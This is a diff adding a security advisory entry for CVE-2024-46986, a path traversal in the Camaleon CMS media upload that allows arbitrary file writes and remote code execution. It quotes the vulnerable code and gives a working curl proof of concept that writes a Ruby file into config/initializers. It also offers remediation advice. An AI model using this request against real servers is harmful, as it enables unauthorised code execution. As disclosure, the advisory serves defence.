|
| 1 | +--- |
| 2 | +gem: camaleon_cms |
| 3 | +cve: 2024-46986 |
| 4 | +ghsa: wmjg-vqhv-q5p5 |
| 5 | +url: https://github.com/owen2345/camaleon-cms/security/advisories/GHSA-wmjg-vqhv-q5p5 |
| 6 | +title: Camaleon CMS affected by arbitrary file write to RCE (GHSL-2024-182) |
| 7 | +date: 2024-09-18 |
| 8 | +description: | |
| 9 | + An arbitrary file write vulnerability accessible via the upload method |
| 10 | + of the MediaController allows authenticated users to write arbitrary |
| 11 | + files to any location on the web server Camaleon CMS is running on |
| 12 | + (depending on the permissions of the underlying filesystem). |
| 13 | + E.g. This can lead to a delayed remote code execution in case an |
| 14 | + attacker is able to write a Ruby file into the config/initializers/ |
| 15 | + subfolder of the Ruby on Rails application. |
| 16 | +
|
| 17 | + Once a user upload is started via the |
| 18 | + [upload](https://github.com/owen2345/camaleon-cms/blob/feccb96e542319ed608acd3a16fa5d92f13ede67/app/controllers/camaleon_cms/admin/media_controller.rb#L86-L87) |
| 19 | + method, the file_upload and the folder parameter |
| 20 | +
|
| 21 | + ```ruby |
| 22 | + def upload(settings = {}) |
| 23 | + params[:dimension] = nil if params[:skip_auto_crop].present? |
| 24 | + f = { error: 'File not found.' } |
| 25 | + if params[:file_upload].present? |
| 26 | + f = upload_file(params[:file_upload], |
| 27 | + { folder: params[:folder], dimension: params['dimension'], formats: params[:formats], versions: params[:versions], |
| 28 | + thumb_size: params[:thumb_size] }.merge(settings)) |
| 29 | + end |
| 30 | + [..] |
| 31 | + end |
| 32 | + ``` |
| 33 | +
|
| 34 | + are passed to the |
| 35 | + [upload_file](https://github.com/owen2345/camaleon-cms/blob/feccb96e542319ed608acd3a16fa5d92f13ede67/app/helpers/camaleon_cms/uploader_helper.rb#L23-L24) |
| 36 | + method. Inside that method the given settings are |
| 37 | + [merged](https://github.com/owen2345/camaleon-cms/blob/feccb96e542319ed608acd3a16fa5d92f13ede67/app/helpers/camaleon_cms/uploader_helper.rb#L41-L42) |
| 38 | + with some presets. The file format is |
| 39 | + [checked against](https://github.com/owen2345/camaleon-cms/blob/feccb96e542319ed608acd3a16fa5d92f13ede67/app/helpers/camaleon_cms/uploader_helper.rb#L61-L62) |
| 40 | + the formats settings we can override with the formats parameters. |
| 41 | +
|
| 42 | + ```ruby |
| 43 | + # formats validations |
| 44 | + return { error: "#{ct('file_format_error')} (#{settings[:formats]})" } unless cama_uploader.class.validate_file_format( |
| 45 | + uploaded_io.path, settings[:formats] |
| 46 | + ) |
| 47 | + ``` |
| 48 | +
|
| 49 | + Our given folder is then |
| 50 | + [passed unchecked](https://github.com/owen2345/camaleon-cms/blob/feccb96e542319ed608acd3a16fa5d92f13ede67/app/helpers/camaleon_cms/uploader_helper.rb#L73-L74) |
| 51 | + to the Cama_uploader: |
| 52 | +
|
| 53 | + ```ruby |
| 54 | + key = File.join(settings[:folder], settings[:filename]).to_s.cama_fix_slash |
| 55 | + res = cama_uploader.add_file(settings[:uploaded_io], key, { same_name: settings[:same_name] }) |
| 56 | + ``` |
| 57 | +
|
| 58 | + In the [add_file](https://github.com/owen2345/camaleon-cms/blob/feccb96e542319ed608acd3a16fa5d92f13ede67/app/uploaders/camaleon_cms_local_uploader.rb#L77) |
| 59 | + method of CamaleonCmsLocalUploader this key argument containing the |
| 60 | + unchecked path is then used to write the file to the file system: |
| 61 | +
|
| 62 | + ```ruby |
| 63 | + def add_file(uploaded_io_or_file_path, key, args = {}) |
| 64 | + [..] |
| 65 | + upload_io = uploaded_io_or_file_path.is_a?(String) ? File.open(uploaded_io_or_file_path) : uploaded_io_or_file_path |
| 66 | + File.open(File.join(@root_folder, key), 'wb') { |file| file.write(upload_io.read) } |
| 67 | + [..] |
| 68 | + end |
| 69 | + ``` |
| 70 | +
|
| 71 | + ## Proof of concept |
| 72 | +
|
| 73 | + Precondition: A valid account of a registered user is required. (The |
| 74 | + values for auth_token and _cms_session need to be replaced with |
| 75 | + authenticated values in the curl command below) |
| 76 | +
|
| 77 | + curl --path-as-is -i -s -k -X $'POST' \ |
| 78 | + -H $'User-Agent: Mozilla/5.0' -H $'Content-Type: multipart/form-data; boundary=----WebKitFormBoundary80dMC9jX3srWAsga' -H $'Accept: */*' -H $'Connection: keep-alive' \ |
| 79 | + -b $'auth_token=[..]; _cms_session=[..]' \ |
| 80 | + --data-binary $'------WebKitFormBoundary80dMC9jX3srWAsga\x0d\x0aContent-Disposition: form-data; name=\"file_upload\"; filename=\"test.rb\"\x0d\x0aContent-Type: text/x-ruby-script\x0d\x0a\x0d\x0aputs \"=================================\"\x0aputs \"=================================\"\x0aputs \"= COMPROMISED =\"\x0aputs \"=================================\"\x0aputs \"=================================\"\x0d\x0a------WebKitFormBoundary80dMC9jX3srWAsga\x0d\x0aContent-Disposition: form-data; name=\"folder\"\x0d\x0a\x0d\x0a../../../config/initializers/\x0d\x0a------WebKitFormBoundary80dMC9jX3srWAsga\x0d\x0aContent-Disposition: form-data; name=\"skip_auto_crop\"\x0d\x0a\x0d\x0atrue\x0d\x0a------WebKitFormBoundary80dMC9jX3srWAsga--\x0d\x0a' \ |
| 81 | + $'https://<camaleon-host>/admin/media/upload?actions=false' |
| 82 | +
|
| 83 | + Note that the upload form field formats was removed so that Camaleon |
| 84 | + CMS accepts any file. The folder was set to |
| 85 | + ../../../config/initializers/so that following Ruby script is written |
| 86 | + into the initializers folder of the Rails web app: |
| 87 | +
|
| 88 | + puts "=================================" |
| 89 | + puts "=================================" |
| 90 | + puts "= COMPROMISED =" |
| 91 | + puts "=================================" |
| 92 | + puts "=================================" |
| 93 | + Once Camaleon CMS is restarted following output will be visible in the log: |
| 94 | +
|
| 95 | + ================================= |
| 96 | + ================================= |
| 97 | + = COMPROMISED = |
| 98 | + ================================= |
| 99 | + ================================= |
| 100 | +
|
| 101 | + ## Impact |
| 102 | +
|
| 103 | + This issue may lead up to Remote Code Execution (RCE) via arbitrary |
| 104 | + file write. |
| 105 | +
|
| 106 | + ## Remediation |
| 107 | +
|
| 108 | + Normalize file paths constructed from untrusted user input before using |
| 109 | + them and check that the resulting path is inside the targeted directory. |
| 110 | + Additionally, do not allow character sequences such as .. in untrusted |
| 111 | + input that is used to build paths. |
| 112 | +
|
| 113 | + ## See also: |
| 114 | +
|
| 115 | + [CodeQL: Uncontrolled data used in path expression](https://codeql.github.com/codeql-query-help/ruby/rb-path-injection/) |
| 116 | + [OWASP: Path Traversal](https://owasp.org/www-community/attacks/Path_Traversal) |
| 117 | +cvss_v3: 9.9 |
| 118 | +unaffected_versions: |
| 119 | + - "< 2.8.0" |
| 120 | +patched_versions: |
| 121 | + - ">= 2.8.1" |
| 122 | +related: |
| 123 | + url: |
| 124 | + - https://nvd.nist.gov/vuln/detail/CVE-2024-46986 |
| 125 | + - https://github.com/owen2345/camaleon-cms/security/advisories/GHSA-wmjg-vqhv-q5p5 |
| 126 | + - https://github.com/owen2345/camaleon-cms/commit/b3b12b1e4a9e3fccaf5bb4330820fa7f8744e6bd |
| 127 | + - https://codeql.github.com/codeql-query-help/ruby/rb-path-injection |
| 128 | + - https://owasp.org/www-community/attacks/Path_Traversal |
| 129 | + - https://www.reddit.com/r/rails/comments/1exwtdm/camaleon_cms_281_has_been_released |
| 130 | + - https://github.com/advisories/GHSA-wmjg-vqhv-q5p5 |
0 commit comments